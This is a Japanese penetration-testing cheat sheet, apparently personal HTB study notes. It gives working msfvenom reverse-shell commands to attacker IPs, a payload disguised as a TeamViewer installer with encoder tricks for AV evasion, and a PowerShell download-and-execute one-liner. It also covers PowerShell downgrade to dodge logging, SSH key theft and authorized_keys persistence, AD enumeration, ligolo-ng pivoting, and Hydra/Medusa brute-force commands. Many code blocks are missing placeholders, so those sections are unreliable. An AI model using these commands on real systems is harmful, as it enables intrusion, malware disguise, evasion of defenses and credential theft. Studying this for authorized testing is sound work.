するホストのIPアドレスを挿入して、Webシェルにアクセスしたり、リバースシェルを使用するインスタンスでコールバックを受信したりする必要がある/usr/share/nishang/Antak-WebShell
にあるMSFVenom & Metasploit-Framework |
Source MSFは、あらゆるペンテスターのツールキットのための非常に汎用性の高いツールです。これは、ホストを列挙し、ペイロードを生成し、パブリックエクスプロイトとカスタムエクスプロイトを利用し、ホストで一度エクスプロイト後のアクションを実行する方法として機能します。スイスアーミーナイフと考えてください。 |
Payloads All The Things |
ソース ここでは、ペイロード生成と一般的な方法論に関するさまざまなリソースとチートシートを見つけることができます。 |
Mythic C2 Framework |
ソース Mythic C2フレームワークは、独自のペイロード生成のためのコマンドおよび制御フレームワークおよびツールボックスとしてのMetasploitの代替オプションです。 |
Nishang |
Source Nishangは、Offensive PowerShellインプラントとスクリプトのフレームワークコレクションです。これには、どのペンテスターにも役立つ多くのユーティリティが含まれています。 |
Darkarmour |
Source Darkarmourは、Windowsホストに対して使用するために難読化されたバイナリを生成して利用するツールです。 |
なんか検索全体で、こんな感じで、grep
で検索できるらしい
msf6 exploit(windows/smb/ms17_010_eternalblue) > grep meterpreter grep reverse_tcp show payloads
Auxiliary
スキャン、ファズ、スニッフィング、管理などの補助的な機能を提供し、追加サポートを行います。
Encoders
ペイロードがターゲットに正しく届くように変換処理を行います。
Exploits
ペイロードの配信を可能にする脆弱性を突くモジュールです。
NOPs
(No-Operationの略)エクスプロイト実行時にペイロードのサイズを一定に保つ役割を果たします。
Payloads
リモートでコードを実行し、攻撃者のマシンにコールバックして接続(またはシェル)を確立します。
Plugins
追加スクリプトがmsfconsoleに統合され、評価作業をサポートします。
Post
情報収集やさらなるネットワーク内移動(ピボット)のための各種モジュールです。
モジュールについてさらに知りたいとき : モジュールを選択した後、コマンドinfo
show targets
の後に、set target <index no.>
コマンドでリストから適切なターゲットを選択できるgrep meterpreter show payloads
で検索して、set payload
で設定して、show payload options
でオプションを検索するMetaploit内では、以下で、payloadとencordを行える
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 15
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show encoders
Compatible Encoders
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 generic/eicar manual No The EICAR Encoder
1 generic/none manual No The "none" Encoder
2 x64/xor manual No XOR Encoder
3 x64/xor_dynamic manual No Dynamic key XOR Encoder
4 x64/zutto_dekiru manual No Zutto Dekiru
ペイロード生成とエンコードを一括で行える
ペイロード作成
ペイロードの暗号化・エンコード
ソーシャルエンジニアリングとの組み合わせ
ペイロードのリストの一覧を表示する
msfvenom -l payloads
Descriptionに書いてあるstagedとstagelessの違い
/
で細かく区切りが多い→staged
windows/meterpreter/reverse_tcp
_
で機能がまとまっていれば→stageless
windows/meterpreter_reverse_tcp
Windowsの代表的なペイロード
ペイロード | 説明 |
---|---|
generic/custom | 汎用リスナー、マルチユース |
generic/shell_bind_tcp | 汎用リスナー、マルチユース、通常のシェル、TCP接続のバインド |
generic/shell_reverse_tcp | 汎用リスナー、マルチユース、通常のシェル、リバースTCP接続 |
windows/x64/exec | 任意のコマンドを実行 (Windows x64) |
windows/x64/loadlibrary | 任意のx64ライブラリパスをロード |
windows/x64/messagebox | MessageBoxを使用して、タイトル、テキスト、アイコンをカスタマイズ可能なダイアログを生成 |
windows/x64/shell_reverse_tcp | 通常のシェル、単一ペイロード、リバースTCP接続 |
windows/x64/shell/reverse_tcp | 通常のシェル、ステージャー+ステージ、リバースTCP接続 |
windows/x64/shell/bind_ipv6_tcp | 通常のシェル、ステージャー+ステージ、IPv6 Bind TCPステージャー |
windows/x64/meterpreter/$ | Meterpreterペイロード+上記の各種バリエーション |
windows/x64/powershell/$ | 対話型PowerShellセッション+上記の各種バリエーション |
windows/x64/vncinject/$ | VNCサーバー(反射型インジェクション)+上記の各種バリエーション |
エンコードなし
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f elf > createbackup.elf
オプション/要素 | 役割・説明 |
---|---|
-p linux/x64/shell_reverse_tcp |
ペイロードの指定 : Linux 64ビット向けの“reverse TCP shell”を生成。実行すると、攻撃者側に逆接続してシェルを提供する。 |
LHOST=10.10.14.113 |
攻撃者のIPアドレス: ペイロードが確立しようとする攻撃者(こちら側)のIPアドレス。 |
LPORT=443 |
攻撃者のポート番号: ペイロードが接続を試みるポート番号。ここでは443を使用。 |
-f elf |
出力ファイル形式の指定 : 生成するファイルをLinux向けのELF形式にする。 |
> createbackup.elf |
標準出力のリダイレクト : 作成されたバイナリをcreatebackup.elf として保存する。 |
エンコーダの役割
Shikata Ga Nai (SGN) について
shikata_ga_naiでエンコード
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "\x00" -f perl -e x86/shikata_ga_nai
オプション | 説明 |
---|---|
-a x86 |
アーキテクチャを x86 に指定 |
--platform windows |
プラットフォームを Windows に指定 |
-p windows/shell/reverse_tcp |
ペイロードとして Windows のシェル(リバースTCP接続)を選択 |
LHOST=127.0.0.1 |
攻撃者側(リスナー)のIPアドレスを 127.0.0.1 に設定 |
LPORT=4444 |
攻撃者側(リスナー)のポート番号を 4444 に設定 |
-b "\x00" |
ペイロードから除外するバッドキャラクターとして NULL を指定 |
-f perl |
出力形式を Perl スクリプト形式に指定 |
-e x86/shikata_ga_nai |
エンコーダーとして x86/shikata_ga_nai を使用(エンコード処理) |
エンコードなし
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "\x00" -f perl
最近のAVでは、それぞれのエンコードを一回行っても全然検知されてしまう
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -i 10 -o /root/Desktop/TeamViewerInstall.exe
msf-virustotal
と呼ばれるツールを提供しているから、それで確認して、AVの回避を向上させるのも面白いかもしれない
msf-virustotal -k <API key> -f TeamViewerInstall.exe
msfvenom
コマンドでペイロードを生成(createbackup.elf
)sudo nc -lvnp 443
psexec
、smbclient
、wmi
、Kerberos、およびSMBサーバーをスタンドアップする能力を扱っているコマンドC$
とadmin$
とともに使用して、ペイロードをホストして転送し、リンクを介してデータを流出させることさえできたRemote execution via MSF
createbackup.elf
を実行(適宜権限を付与し実行)LHOST
: LPORT
へ接続encoding
やencryption
がなければ、この形式のペイロードはほぼ確実にWindows Defender AVによって検出されるペイロードの時、どのファイルを選んだらいいの?
DLL (Dynamic Link Library)
バッチ (Batch) ファイル
.bat
)VBS (VBScript)
MSI (.msi ファイル)
.msi
ファイルを参照して必要コンポーネントを取得.msi
化することで Windows インストーラーを利用し、msiexec
コマンドで実行可能PowerShell
CMDとPSどっちのターミナル言語使えばいいの?
CMD を使用する場合
PowerShell を使用する場合
なんか今のところあんまり使いたい意欲ないから、使いたくなったら、ここに詳しく書いてあるよ
background
sessions -l
sessions -i <セッション番号>
sessions -K
Mesterpreterでユーザー権限でセッションが確立している時、ターゲットシステムに適した特権昇格エクスプロイトを提案させることができる
use post/multi/recon/local_exploit_suggester
set SESSION <セッション番号>
run
vim
:set shell=/bin/sh
:shell
sudo apt update
sudo apt install rlwrap
rlwrap nc -lvnp <ポート番号> # リスナー側 (攻撃者マシン)
リバースシェルで、ログインした時、最初は、「www-data」であることがある。
その時、www-dataのパスワードがわからないので横展開が必要
データベース情報を書き換える・新規追加
netstat -tuln
HTBでの認証情報の使い回し
/etc/passwd
から有効なシェルを持つユーザーの確認
/etc/passwd
の最後のフィールドは、そのユーザーのデフォルトシェル を示している。/bin/bash
・/bin/sh
/usr/sbin/nologin
www-data
や mysql
などのシステムユーザーに設定されている。/bin/false
false
コマンドは何もせず終了するため、ログインを試みても即ログアウトする。Pivoting・Tunneling ・Port Forwarding
sudo -l
正直HTBのEasyとかMediumの一部では、このコマンド打って、NoPasswordって書いてあるスクリプトをsudo権限で実行すれば権限昇格できる。
ここにまとまってるから、あとでまとめる
これらのスクリプトの出力で、探すべき脆弱性
dpkg -l
C:\Program Files
以下を見るsudo -l
sudo
ですべてのコマンドを実行でき、完全なアクセス権を与え、sudo
でsu
コマンドを使用してルートユーザーに切り替えることができると述べています。sudo
でコマンドを実行するにはパスワードが必要です。特定のアプリケーション、またはすべてのアプリケーションをパスワードなしで実行できる場合がありfind / -type f -perm -04000 -ls 2>/dev/null
スケジュールされたタスク
SSHキー
cat /root/.ssh/id_rsa
cat /user1/.ssh/id_rsa
nano id_rsa
chmod 600 id_rsa
ssh root@94.237.53.117 -p 53658 -i id_rsa
ユーザー/.ssh/
ディレクトリへの書き込みアクセス権がある場合
#攻撃者PC
ssh-keygen -f key
key
(ssh -i
で使用します)とkey.pub
の2つのファイルkey.pub
をコピーして、リモートマシンで/root/.ssh/authorized_keys
に追加echo "ssh-rsa AAAAB...SNIP...M= user@parrot" >> /root/.ssh/authorized_keys
snowyowl644@htb[/htb]$ ssh root@10.10.10.10 -i key
root@remotehost#
Living Off the Landで使うための辞書的存在
LOLBANSについてまとめているサイト
その他、使えるコマンド
Powershell上で実行
コマンド | 結果 |
---|---|
hostname | PCの名前を表示する |
[System.Environment]::OSVersion.Version | OSのバージョンとリビジョンレベルを表示する |
wmic qfe get Caption,Description,HotFixID,InstalledOn | ホストに適用されているパッチやホットフィックスの一覧を表示する |
ipconfig /all | ネットワークアダプターの状態と構成を表示する |
set | 現在のセッションでの環境変数一覧を表示する(CMDプロンプトから実行) |
echo %USERDOMAIN% | ホストが所属しているドメイン名を表示する(CMDプロンプトから実行) |
echo %logonserver% | ホストがチェックインしているドメインコントローラーの名前を表示する(CMDプロンプトから実行) |
systeminfo | 上のコマンド達の結果をこのコマンドで表示できる |
Get-Module | 使用可能な(ロードされている)モジュールの一覧を表示 |
Get-ExecutionPolicy -List | ホスト上の各スコープごとの実行ポリシー設定を表示 |
Set-ExecutionPolicy Bypass -Scope Process | -Scope パラメータを使用して、現在のプロセスだけに実行ポリシーを一時的に変更する。このプロセスを終了すると元に戻るため、ホストに恒久的な変更を加えずに済む |
Get-ChildItem Env:| ft Key,Value |
環境変数(キーと値のペア)を一覧表示し、パス、ユーザー名、コンピュータ情報などを取得 |
Get-Content $env:APPDATA\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt | 特定ユーザーのPowerShellコマンド履歴を取得します。この履歴にはパスワードや、パスワードが含まれる設定ファイル/スクリプトの手がかりがある場合もあるため、有用です。 |
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('ダウンロード元のURL'); <続くコマンド>" | Web上からファイルをダウンロードして、メモリ上で実行するためのシンプルかつ迅速な方法です。 |
Powershellのダウングレード
powershell.exe -version 2
本当にダウングレードできているのか
Get-Host
コマンドを打って、出力結果のVersion
の部分を見る本当にログが記録されていないか
Applications and Services Logs > Microsoft > Windows > PowerShell > Operational
Applications and Services Logs > Windows PowerShell
Windowsファイアーウォールの設定状態や、稼働状況を確認する
ファイアーウォールの確認
PS C:\htb> netsh advfirewall show allprofiles
Windows Defenderの確認
cmd.exeで実行
C:\htb> sc query windefend
Defender の詳細なステータスや構成設定を確認する
PS C:\htb> Get-MpComputerStatus
自分以外に誰かログインしていないか
PS C:\htb> qwinsta
SESSIONNAME USERNAME ID STATE TYPE DEVICE
services 0 Disc
>console forend 1 Active
rdp-tcp 65536 Listen
STATEの見方
STATE | 意味 | 誰かログインしてる? | 補足 |
---|---|---|---|
Active | セッションがアクティブ(操作中) | ✅ はい | ユーザーが現在ログイン&使ってる状態 |
Disc(Disconnected) | セッションが切断された(ログイン中だが未使用) | ✅ はい | RDP切断後とか。まだメモリ上にセッションはある |
Listen | セッション待機中(接続待ち状態) | ❌ いいえ | 誰もログインしてないが、RDP接続を待っている状態 |
Idle | 放置状態(Activeのまま時間が経過) | ✅ はい | 実際はActiveと同じ扱いになることもある |
類似コマンド |
query user
これらのコマンドは、ブラックボックス型の探索フェーズで役にたつ
パッシブな情報収集手段として非常に有効
AD環境の列挙に役立つだけでなく、他のネットワークセグメントへのピボット(横展開)機会を見つける助けにもなる
ネットワーク系コマンド | 説明 |
---|---|
arp -a | ARPテーブルに記録されている既知のホスト一覧を表示 |
ipconfig /all | ホストのネットワークアダプタ設定を出力する。ネットワークセグメントを把握できる |
route print | ルーティングテーブル(IPv4 & IPv6)を表示する。ホストが認識しているネットワークやレイヤー3のルート情報が確認できる |
netsh advfirewall show allprofiles | ホストのファイアウォールの状態を表示する。アクティブかどうか、トラフィックをフィルタリングしているかなどを確認できる |
コマンド | 説明 | |
---|---|---|
wmic qfe get Caption,Description,HotFixID,Installed | ホストに適用されているパッチやホットフィックスの概要と適用日時を表示する | |
wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:L | ホストに関する基本情報(ホスト名、ドメイン、製造元、モデル、ユーザー名、役割など)を表示する | |
wmic process list /format: | ホスト上で実行中のすべてのプロセスの一覧を表示する | |
wmic ntdomain list /format | ドメインおよびドメインコントローラーに関する情報を表示する | |
wmic useraccount list /forma | ホスト上のすべてのローカルアカウント、ならびに過去にログインしたドメインアカウントに関する情報を表示する | |
wmic group list /form | すべてのローカルグループに関する情報を表示する | |
wmic sysaccount list /for | サービスアカウントとして使用されているシステムアカウントに関する情報を出力する | |
wmic ntdomain get Caption,Description,DnsForestName,DomainName,DomainControllerAddress | 現在のドメインが信頼関係を持つドメインや子ドメイン、外部フォレストに関する情報を取得 |
net
の代わりにnet1
を使うことで、netと同じことをすることができる
net1
は、互換性のために残されているコマンドで、アラートとかに乗っかりにくいかもしれないコマンド | 説明 |
---|---|
net accounts | パスワードの要件に関する情報 |
net accounts /domain | パスワードとアカウントロックアウトのポリシー |
net group /domain | ドメイングループに関する情報 |
net group "Domain Admins" /domain | ドメイン管理者権限を持つユーザーの一覧 |
net group "domain computers" /domain | ドメインに参加しているPCの一覧 |
net group "Domain Controllers" /domain | ドメインコントローラーのPCアカウント一覧 |
net group <グループ名> /domain | 指定したグループに所属しているユーザー |
net groups /domain | ドメイングループの一覧 |
net localgroup | 使用可能なローカルグループの一覧 |
net localgroup administrators /domain | ドメイン内の管理者グループに所属するユーザー一覧(※通常 “Domain Admins” も含まれる) |
net localgroup Administrators | ローカル「Administrators」グループの情報 |
net localgroup administrators [ユーザー名] /add | 指定ユーザーを Administrators グループに追加 |
net share | 現在の共有フォルダの確認 |
net user <アカウント名> /domain | ドメイン内の特定ユーザーの情報取得 |
net user /domain | ドメイン内のすべてのユーザーを一覧表示 |
net user /domain <ユーザーネーム> | ドメイン内のユーザーの詳細情報を表示する |
net user %username% | 現在ログインしているユーザーの情報 |
net use x: \コンピュータ名\共有名 | 指定された共有をローカルにマウント |
net view | コンピュータの一覧取得 |
net view /all /domain[:ドメイン名] | ドメイン内のすべての共有リソース一覧 |
net view \コンピュータ名 /ALL | 指定したコンピュータの共有リソース一覧 |
net view /domain | ドメイン内のPC一覧 |
C:\Windows\System32\dsquery.dll
に存在するユーザー検索
PS C:\htb> dsquery user
ホストの検索
PS C:\htb> dsquery computer
ワイルドカードを使った検索
PS C:\htb> dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
LDAP検索フィルターと組み合わせて、より詳細で条件を絞った検索を行うことができる
userAccountControl 属性に PASSWD_NOTREQD(パスワード不要)フラグが設定されたユーザーを検索するコマンド
PS C:\htb> dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl
distinguishedName userAccountControl
CN=Guest,CN=Users,DC=INLANEFREIGHT,DC=LOCAL 66082
CN=Marion Lowe,OU=HelpDesk,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL 66080
CN=Yolanda Groce,OU=HelpDesk,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL 66080
CN=Eileen Hamilton,OU=DevOps,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL 66080
CN=Jessica Ramsey,CN=Users,DC=INLANEFREIGHT,DC=LOCAL 546
CN=NAGIOSAGENT,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL 544
CN=LOGISTICS$,CN=Users,DC=INLANEFREIGHT,DC=LOCAL 2080
CN=FREIGHTLOGISTIC$,CN=Users,DC=INLANEFREIGHT,DC=LOCAL 2080
上のコマンドの詳細
出力されるuserAccountは、それぞれのフラグの足し算なので、以下を見て、分解すればどのアカウントがどのフラグが立っているかがわかる
userAccountControlのフラグの一覧
発見次第、除外すべきアカウント
$
」: $
がついているので、コンピュータアカウント。コンピュータアカウントにPASSWD_NOTREQDが付いてるのは普通なので激アツではない。さらに確認すべきポイント
dsquery * -filter "(&(objectCategory=person)(cn=Yolanda Groce))" -attr sAMAccountName
得られたログオン名(yolandag)を使って、以下のように net user で詳細情報を確認する
net user yolandag /domain
LDAP OIDマッチングルール一覧
OID値 | 名前(非公式) | 意味・用途 | 使用例・特徴 |
---|---|---|---|
1.2.840.113556.1.4.803 | Bitwise AND 完全一致 | 指定したビット値に完全一致する属性のみを検索 | 単一のUAC属性にマッチさせたいときに使う(例:PASSWD_NOTREQDが設定されている) |
1.2.840.113556.1.4.804 | Bitwise OR 部分一致 | ビット値のいずれかが一致すれば対象に含める | 複数の属性が混在しているオブジェクトを柔軟に検索できる |
1.2.840.113556.1.4.1941 | DNツリー探索 | オブジェクトの所有関係やグループメンバーシップなどを辿って検索 | ネストされたグループメンバーなどを再帰的に検索するときに便利 |
user.txt
の場合find / -type f -iname "user.txt" 2>/dev/null
root.txt
の場合find / -type f -iname "root.txt" 2>/dev/null
grep
を使用して特定の文字列を含むファイルを検索
user
という文字列を検索(大文字・小文字を無視)grep -ri "user" / 2>/dev/null
root
という文字列を検索(大文字・小文字を無視)grep -ri "root" / 2>/dev/null
クレデンシャルファイルの検索
find /mnt/Finance/ -name *cred*
grep -rn /mnt/Finance/ -ie cred
Cドライブ全体を検索する場合
dir C:\flag.txt /s
dir -Recurse -Filter flag.txt 2>$null
Get-ChildItem -Recurse -Path N:\ -Include *cred* -File
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8/ligolo-ng_proxy_0.8_linux_amd64.tar.gz
tar -xzf ligolo-ng_proxy_0.8_linux_amd64.tar.gz
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8/ligolo-ng_agent_0.8_linux_amd64.tar.gz
tar -xzf ligolo-ng_agent_0.8_linux_amd64.tar.gz
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8/ligolo-ng_agent_0.8_windows_amd64.zip
unzip ligolo-ng_agent_0.8_windows_amd64.zip
python -m http.server 8081
sudo ./proxy -selfcert
sudo ip link delete ligolo0
を実行してから再度試す仮想NICの作成
interface_create --name ligolo0
ダウンロード
wget http://10.10.14.4:8081/agent
実行
./agent -connect <C2サーバーのIPまたはドメイン>:11601 -ignore-cert
powershell .\agent.exe -connect <攻撃者サーバーのIPアドレス>:11601 -ignore-cert
session
tunnel_start --tun ligolo0
ifconfig
別のターミナルで
sudo ip route add <ターゲットの内部ネットワークCIDR(例 : 172.16.1.0/24)> dev ligolo0
ここから、内部ネットワークの攻撃は、内部ネットワークのIPになる
例えば、攻撃者側でssh入って、ifconfigしたときのipアドレスで、攻撃者側からnmapとかpingができるっていう話
nmap -sT <内部ネットワーク内のIPアドレス 例: 172.16.1.1>
nmap -sn
だとエラーが起きる
nmap -PE -sn
でエラーを防ぐことができつつ、ICMPエコーリクエストのみで調査できるnmap -PE -sn <ターゲットの内部ネットワークCIDR>
Pentest_Technique/Active Directory jane.txt | grep '[A-Z]' | grep '[a-z]' | grep '[0-9]' | grep -E '([!@#$%^&].){2,}' > jane_filtered.txt
- Hydraなどのブルートフォースツールと組み合わせて使う
{{CODE_BLOCK_139}}
- まとめ
- CUPPは「精度重視」の攻撃をしたいときに効果的
- SNSや公開情報をうまく使って情報を集めるのがカギ
- ワードリスト作成を自動化できるので、初心者でも扱いやすい
-
## 辞書拡張
{{CODE_BLOCK_140}}
{{CODE_BLOCK_141}}
## ブルートフォースの実行
#### crackmapexec
{{CODE_BLOCK_142}}
protoには、サービス名を指定する
winrmをブルートフォース
{{CODE_BLOCK_143}}
#### hydra
また、単一のユーザー名・パスワードの場合は小文字の-l、-pを使う
{{CODE_BLOCK_144}}
hydraオプションの基本
{{CODE_BLOCK_145}}
| | | |
| ------------------ | -------------------------------------------------------------- | ------------------------------------------------------------------------------------------- |
| `l LOGIN``-L FILE` | ログインオプション:単一のユーザー名(`-l`)またはユーザー名のリスト(`-L`)を含むファイルを指定します。 | `hydra -l admin ...``hydra -L usernames.txt ...` |
| `-p PASS``-P FILE` | パスワードオプション:単一のパスワード(`-p`)またはパスワードのリストを含むファイル(`-P`)のいずれかを提供します。 | `hydra -p password123 ...``hydra -P passwords.txt ...` |
| `-t TASKS` | タスク:実行する並列タスク(スレッド)の数を定義し、攻撃を高速化する可能性があります。 | `hydra -t 4 ...` |
| `-f` | ファストモード:最初のログインが見つかったら、攻撃を停止します。 | `hydra -f ...` |
| `-s PORT` | ポート:ターゲットサービスにデフォルト以外のポートを指定します。 | `hydra -s 2222 ...` |
| `-v``-V` | 詳細な出力:試行と結果を含む、攻撃の進行状況に関する詳細情報を表示します。 | `hydra -v ...`または`hydra -V ...`(さらに冗長性のために) |
| `service://server` | ターゲット:サービス(例:`ssh`、`http`、`ftp`)とターゲットサーバーのアドレスまたはホスト名を指定します。 | `hydra ssh://192.168.1.100` |
| `/OPT` | サービス固有のオプション:対象サービスに必要な追加オプションを提供します。 | `hydra http-get://example.com/login.php -m "POST:user=^USER^&pass=^PASS^"`(HTTPフォームベースの認証用) |
| | | |
##### Hydra サービス別コマンド
| **サービス** | **コマンド例** |
| ----------------- | ------------------------------------------------------------------------------------------------------------ |
| **FTP** | hydra -l admin -P /path/to/password_list.txt ftp://192.168.1.100 |
| **SSH** | hydra -l root -P /path/to/password_list.txt ssh://192.168.1.100 |
| **HTTP-GET/POST** | hydra -l admin -P /path/to/password_list.txt http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect" |
| **SMTP** | hydra -l admin -P /path/to/password_list.txt smtp://mail.server.com |
| **POP3** | hydra -l user@example.com -P /path/to/password_list.txt pop3://mail.server.com |
| **IMAP** | hydra -l user@example.com -P /path/to/password_list.txt imap://mail.server.com |
| **MySQL** | hydra -l root -P /path/to/password_list.txt mysql://192.168.1.100 |
| **MSSQL** | hydra -l sa -P /path/to/password_list.txt mssql://192.168.1.100 |
| **VNC** | hydra -P /path/to/password_list.txt vnc://192.168.1.100 |
| **RDP** | hydra -l admin -P /path/to/password_list.txt rdp://192.168.1.100 |
辞書を作らなくてもこんな感じでもできる
- 6〜8文字の全パターンを自動生成(英小文字・英大文字・数字)
{{CODE_BLOCK_146}}
- **このコマンドがやってること**
- `-l administrator` → ログイン名として「administrator」を指定
- `-x 6:8:...` → 6〜8文字の全パターンを自動生成(英小文字・英大文字・数字)
- `192.168.1.100` → 攻撃対象のIPアドレス
- `rdp` → RDPサービスを対象に指定
##### Basic認証に対するブルートフォース
辞書の取得
{{CODE_BLOCK_147}}
ブルートフォースの実行
{{CODE_BLOCK_148}}
- `-l basic-auth-user` → ログイン試行に使うユーザー名を指定
- `-P 2023-200_most_used_passwords.txt` → 使用するパスワードリスト
- `127.0.0.1` → ターゲットのIP(この場合はローカルホスト)
- `http-get /` → HTTPのGETメソッドでルートパス(`/`)を攻撃対象に
- `-s 81` → ポート番号を明示的に指定(通常80だが、ここでは81を使用)
##### カスタムログインフォームへのブルートフォース
- カスタムログインフォームとは?
- Webサイトが使っている、独自デザインのログイン画面
- 見た目は違っても、内部的には同じように動作していることが多い
- Hydraで攻撃できる理由
- Hydraはログインフォームに自動でユーザー名とパスワードを送って試せるツール
- `http-post-form`というモードを使えば、フォーム送信に特化したブルートフォースが可能
- 攻撃のために必要な情報
- ログイン先のURLパス(例:`/login` や `/`)
- 入力項目の名前(例:`username`, `password`)
- 失敗時に表示されるメッセージ(例:`Invalid credentials`)
- 情報の集め方
- ブラウザで開いて右クリック →「検証」ツールでHTMLコードを見る
- 「ネットワーク」タブでPOSTリクエストを確認
- Burp Suiteなどのプロキシツールでリクエスト内容を詳細に調べる
- Hydraコマンドの基本構文
- `hydra -L ユーザー名リスト -P パスワードリスト ターゲットIP http-post-form "パス:パラメータ:条件"`
- パラメータの書き方
- 例:`/:username=^USER^&password=^PASS^:F=Invalid credentials`
- `username=^USER^` → ユーザー名入力欄
- `password=^PASS^` → パスワード入力欄
###### 「F=」と「S=」オプション
- F=(Failure Condition)とは?
- 「この文字列がレスポンスに含まれていたらログイン失敗」と判断するための条件
- 多くのログインフォームは失敗時に何らかのエラーメッセージを返す
- 例:`"Invalid credentials"`, `"Incorrect password"`, `"Login failed"` など
- Hydraはこの文字列を探して、失敗したら次の組み合わせに進む
- 使用例:
{{CODE_BLOCK_149}}
- S=(Success Condition)とは?
- 「この文字列がレスポンスに含まれていたらログイン成功」と判断するための条件
- 成功時に表示されるキーワードや、リダイレクト(HTTP 302)をチェックするのに使う
- 例:`"Welcome"`, `"Dashboard"`, `S=302` など
- S=を使うのは、**失敗メッセージがない** or **成功時のパターンが明確なとき**に便利
- 使用例(① 成功時に「Dashboard」と表示される):
{{CODE_BLOCK_150}}
- 使用例(② 成功時にHTTPステータスコード302でリダイレクト):
{{CODE_BLOCK_151}}
- F= と S= の使い分け
- ほとんどのケースでは **F=(失敗条件)だけ指定**すればOK
- 特定の成功パターンがあるときや、失敗メッセージが見つからないときに S= を使う
- **両方併用も可能**(例:`F=Login failed:S=Welcome`)
- チェックポイント(初心者向け)
- Hydraはレスポンスの「内容」や「ステータスコード」を使って判断している
- 条件に合わないと正しい結果が出ないので、実験前にブラウザやBurpでしっかり調べよう!
- おまけ:テスト時のポイント
- 間違ったパスワードでログインして、**エラーメッセージを確認**
- 正しい情報を入力したときの**レスポンスの違い**を見つける(リダイレクトや文字の変化)
辞書の取得
{{CODE_BLOCK_152}}
実行
{{CODE_BLOCK_153}}
## medusa
| **項目** | **Hydra** | **Medusa** |
| ------------ | -------------------------- | ------------------------------ |
| 💡 特徴 | 柔軟でシンプルなコマンド構文。対応プロトコルが広い。 | 超高速&並列処理に強い。大量ターゲットの一括スキャンが得意。 |
| 🚀 速度 | 並列処理はあるが、Medusaより若干遅い | 圧倒的に速い(数千スレッドでも安定) |
| 🧠 学習コスト | 初心者向け。わかりやすい構文。 | やや複雑。オプションが多め |
| 🛠️ 対応プロトコル | 50以上対応(Webフォーム、SSH、RDPなど) | Hydraに近いがやや少なめ(実用的には十分) |
| 🔁 大量ホスト対応 | スクリプトなどで対応可能 | 複数ホストを一括で簡単に処理できる(-H) |
| 🌐 Webフォーム対応 | http-post-formで高機能に対応 | web-formモジュールもあるが柔軟性はHydraが上 |
| 📦 標準搭載 | Kali, Parrotなどにプリインストール | 同じく多くのペンテスト用OSに搭載済み |
| 🔍 デバッグ・出力 | Verboseログが細かくてわかりやすい | ログはややシンプル。高速処理に特化 |
{{CODE_BLOCK_154}}
| **パラメータ** | **説明** | **使用例** |
| --------- | ----------------------------------- | --------------------------------------------------------- |
| -h or -H | 単一のターゲット(-h)またはターゲットのリストファイル(-H)を指定 | medusa -h 192.168.1.10 ... または medusa -H targets.txt ... |
| -u or -U | 単一ユーザー名(-u)またはユーザーリストファイル(-U)を指定 | medusa -u admin ... または medusa -U users.txt ... |
| -p or -P | 単一パスワード(-p)またはパスワードリストファイル(-P)を指定 | medusa -p password123 ... または medusa -P passwords.txt ... |
| -M | 攻撃に使うモジュールを指定(例:ssh, ftp) | medusa -M ssh ... |
| -m | モジュール専用の追加オプション(ダブルクォートで囲む) | **HTTPフォーム送信などに使う:**medusa -M http -m "POST /login ..." |
| -t | 並列スレッド数(並列で試行できる数) | medusa -t 4 |
| -f or -F | 成功時に停止(-f: 現在のホストのみ、-F: すべてのホストで停止) | medusa -f ... または medusa -F ... |
| -n | 非標準ポートを指定(例:2222など) | medusa -n 2222 |
| -v | 詳細出力(最大6レベル) | medusa -v 4 |
#### medusaのサービス別コマンド
| **モジュール名** | **サービス/プロトコル** | **説明** | **使用例** |
| ---------- | -------------- | ---------------------------------- | ------------------------------------------------------------------------------------------------------------------------- |
| ftp | FTP | ファイル転送用プロトコルのログイン情報をブルートフォース | medusa -M ftp -h 192.168.1.100 -u admin -P passwords.txt |
| http | HTTP | Webアプリのフォームログイン(GET/POST)をブルートフォース | medusa -M http -h www.example.com -U users.txt -P passwords.txt -m DIR:/login.php -m FORM:username=^USER^&password=^PASS^ |
| imap | IMAP | メールサーバーのIMAP認証に対して試行 | medusa -M imap -h mail.example.com -U users.txt -P passwords.txt |
| mysql | MySQL | データベース(MySQL)の認証情報を試行 | medusa -M mysql -h 192.168.1.100 -u root -P passwords.txt |
| pop3 | POP3 | メール取得プロトコルへのブルートフォース | medusa -M pop3 -h mail.example.com -U users.txt -P passwords.txt |
| rdp | RDP | Windowsのリモートデスクトップログインをブルートフォース | medusa -M rdp -h 192.168.1.100 -u admin -P passwords.txt |
| ssh | SSH | セキュアシェルへの認証を試行(ポピュラー) | |
| svn | Subversion | バージョン管理ツールSVNの認証に対して攻撃 | medusa -M svn -h 192.168.1.100 -u admin -P passwords.txt |
| telnet | Telnet | 古いリモート端末プロトコルへの試行 | medusa -M telnet -h 192.168.1.100 -u admin -P passwords.txt |
| vnc | VNC | リモートデスクトップ(VNC)へのブルートフォース | medusa -M vnc -h 192.168.1.100 -P passwords.txt |
